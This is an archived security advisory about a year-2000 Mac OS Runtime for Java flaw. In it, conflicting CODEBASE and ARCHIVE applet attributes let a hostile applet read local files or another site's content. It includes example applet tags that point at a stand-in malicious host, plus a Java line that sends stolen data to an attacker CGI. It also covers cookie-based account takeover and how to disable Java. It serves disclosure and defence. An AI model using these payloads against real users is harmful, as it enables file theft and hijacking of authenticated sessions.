Vulnerability
Mac OS Runtime for Java
Affected
MRJ 2.2.3 (Mac OS Runtime for Java)
Description
Hiromitsu Takagi found following. Version 2.2.3 of MRJ (Mac OS
Runtime for Java). This has not been confirmed yet, but all
older versions may be affected also. It is also affected that
Web browser for Mac OS, Internet Explorer 4.5 and 5, Netscape 6,
iCab and other software all of which use MRJ.
"MRJ" is installed in all recent Mac OS as a standard provision
and is used in browsing Web pages. This security hole is found
existing in the following combinations:
o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5
o Mac OS + MRJ 2.2.3 + Internet Explorer 5
o Mac OS + MRJ 2.2.3 + Netscape 6
o Mac OS + MRJ 2.2.3 + iCab pre2.2
o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76
This bug exposes the browsing user to the following damage the
moment he or she accidentally or otherwise browses a page
intentionally set by a malicious Web site operator:
(1) Arbitrary files in the computer of the browsing user will be
stolen.
(2) The browser of the browsing user will be taken over and will
be made to access an arbitrary Web site.
(3) Information in Web pages that is disclosed only to the inside
of the organization (intranet) will be stolen.
A demonstration applet to verify the existence of this bug has
been created:
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test.html
Pressing the "Execute" button will output the list of file names
in the volume "Macintosh HD" in the TextArea under. See:
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-1.gif
If Macintosh is used by changing the volume name to other than
"Macintosh HD," which is the default, input the changed name to
the TextField on the left of the "Execute" button and press the
"Execute" button.
Pressing "Send this to the server" button will transfer the data
in the TextArea to the server. The server is configured to
return received data as it is and the data will be displayed on
the browser screen. See Fig. 2.:
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-2.gif
Do not press the "Send this to the server" button unless you wish
data to be transferred. It has been confirmed that file data
will also be read and that connection to any server will be
possible even though this demonstration applet reads only file
names.
The threat brought about by Problem (1) is obvious and does not
have to be explained. The reader is requested to see a document
published earlier, "Danger of Security Defect of Any Host Being
Accessed" on Problem (3):
http://java-house.etl.go.jp/ml/archive/j-h-b/033470.html
The remaining problem, Problem 2), does not seem to be known
fully. As one of the threats brought about by the Brown Orifice
security hole reported in August 2000, this problem has already
been taken up in BugTraq also. Nevertheless, Microsoft's
document MS00-081 fails to mention about this threat. Threat (2)
is explained below.
The threat posed by the bug allowing the Java applet accessing any
host is not confined to information read out only. If the
java.net. URLConnection function supports Cookie, the following
threat will occur.
In case browsers of the browsing users are forcibly accessed by
sites designated by intentions of malicious Web site setters,
such accessing will become accessing based on information
(Cookies) unique to the browser and will be deemed as operation
by the browsing users themselves.
As a result, the browsing users may be penalized as follows:
- Electronic commerce sites using Cookies with an indefinite time
limit will be accessed for authenticattion of the users
themselves and false purchase orders will be issued.
Sites that do not require password input, such as placing orders
by clicking only, may be authenticating the users only by a
Cookie with an indefinite time limit.
- In case the users are authenticated only by a Cookie, even
electronic commerce sites operated by a Cookie that is set with
a term of validity may sometimes issue purchase orders without
inputting a password because a Cookie within this term of
validity is used if they are accessed by sites, which have a
mechanism to abuse this security hole, immediately after
transaction sites are used.
- Among services which authenticate the users by a Cookie with a
set term of validity, those Web mail system services almost
certainly have operations of their Web mail systems taken over
when they receive mail embedded with a malicious applet. As a
result, mail is stolen and is read and false mail is sent by
malicious users who disguise as browsing users.
The reason for "almost certainly" is as follows. The moment a
browsing user accesses an applet, which is a trap, the browsing
user is naturally using the Web mail system and the Cookie for
the Web mail system is always within its term of validity so
that the Web mail is taken over almost certainly.
As a security constraint, the Java applet is designed allowing
information to be read only from the Web site of the party who
originally downloaded the applet program. In Java VM, the site
of the original downloading source is displayed in URL as
"CODEBASE." In the <APPLET> tag, which is used when pasting the
Java applet in a Web page, the original download source of the
applet can be designated by the attribute "CODEBASE." For
example, when
<APPLET CODE="Test" CODEBASE="http://www.target.example/">
is written, the applet program will be downloaded from
http://www.target.example/Test.class
regardless of where HTML written in the tags is located. The
applet is restricted to read only the information of
"www.target.com."
On the other hand, the <APPLET> tag has the attribute "ARCHIVE,"
allowing loading Java applet programs which are archived in the
JAR file. For example, when
<APPLET CODE="Test" ARCHIVE="Test.jar">
is written, the "Test.jar" file that is located in the same
directory as that of the HTML file will be downloaded.
What will happen if both attributes CODEBASE and ARCHIVE are
designated? For example, when
<APPLET CODE="Test"
CODEBASE="http://www.target.example/"
ARCHIVE="http://www.malicious.example/Test.jar">
are described and if an applet program is downloaded from
"www.malicious.example," this applet will be able to read the
information of "www.target.example." If this is the case, a
security problem will arise.
The CODEBASE attribute must be made to be ignored or the applet
must be disabled to start in case these conflicting CODEBASE and
ARCHIVE attributes are designated.
In spite of this, MRJ 2.2.3 safely activates the applet and allows
reading information of the site designated by the CODEBASE
attribute.
By designating "file:///" URL as the CODEBASE attribute, local
files too can be read.
<APPLET CODE="Test"
CODEBASE="file:///"
ARCHIVE="http://www.malicious.example/exploit.jar">
Some of the readers will question; the applet can communicate with
only the hosts of CODEBASE and cannot send the information to a
malicious server even though the applet can read information,
which it should not be allowed to read. However, at least,
information can be transferred by the following method:
String cgi = "http://www.malicious.example/receive-query.cgi";
getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data)));
This bug is based on the same theory as that of bug of Windows
Internet Explorer "MS00-81" reported on October 18 2000 by Georgi
Guninski. MS00-081 was a bug that caused the same phenomenon as
that of this bug when an applet is started by the <OBJECT> tag.
The only difference is that the MRJ bug now being discussed is
caused by the <APPLET> tag and not by the <OBJECT> tag.
It was careless on the part of Microsoft that they overlooked the
fact the <OBJECT> tag would have a similar problem when they
fixed this bug of the <APPLET> tag by MS00-001. Be that as it
may, why did not Apple Computer recognize at that time the
possibility of the same problem occurring again with their own
products?
Furthermore, what is surprising is that this bug seemed to have
existed in JDK of Sun Microsystems. This phenomenon is reproduced
when the foregoing demonstration applet for verification is
opened by the appletvirewr of JDK1.1.4. However, it does not
reproduce in JDK 1.1.5. It appears that Sun knew this bug and
fixed it in JDK1.1.5. However, Sun's page summarizing its
history of security problems in the past related to Java does not
describe it. Did Sun notify other Java VM vendors when they
fixed this bug in their JDK 1.1.5? Did any one in Sun notice
that MRJ was not fixed yet?
Solution
Wait until a version of MRJ fixing this bug is released by Apple
Computer and install it. This version has not been released as
of December 14 2000. The latest version of MRJ can be obtained
through the following site: http://www.apple.com/java/
As long as fixed MRJ cannot be obtained, stop the Java functions
of the Web browser.
For Internet Explorer: Select "Preferences" in the "Edit" menu.
Select "Java" and check off the check box "Enable Java."
For Netscape 6: Select "Preferences" in the "Edit" menu. Select
"Advanced" in "Category" on the left and check off the check box
"Enable Java."
For iCab: Select "Preferences" in the "Edit" menu. Select
"Settings / Security" in "Java" and check off the check box
"Execute Java applets."
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
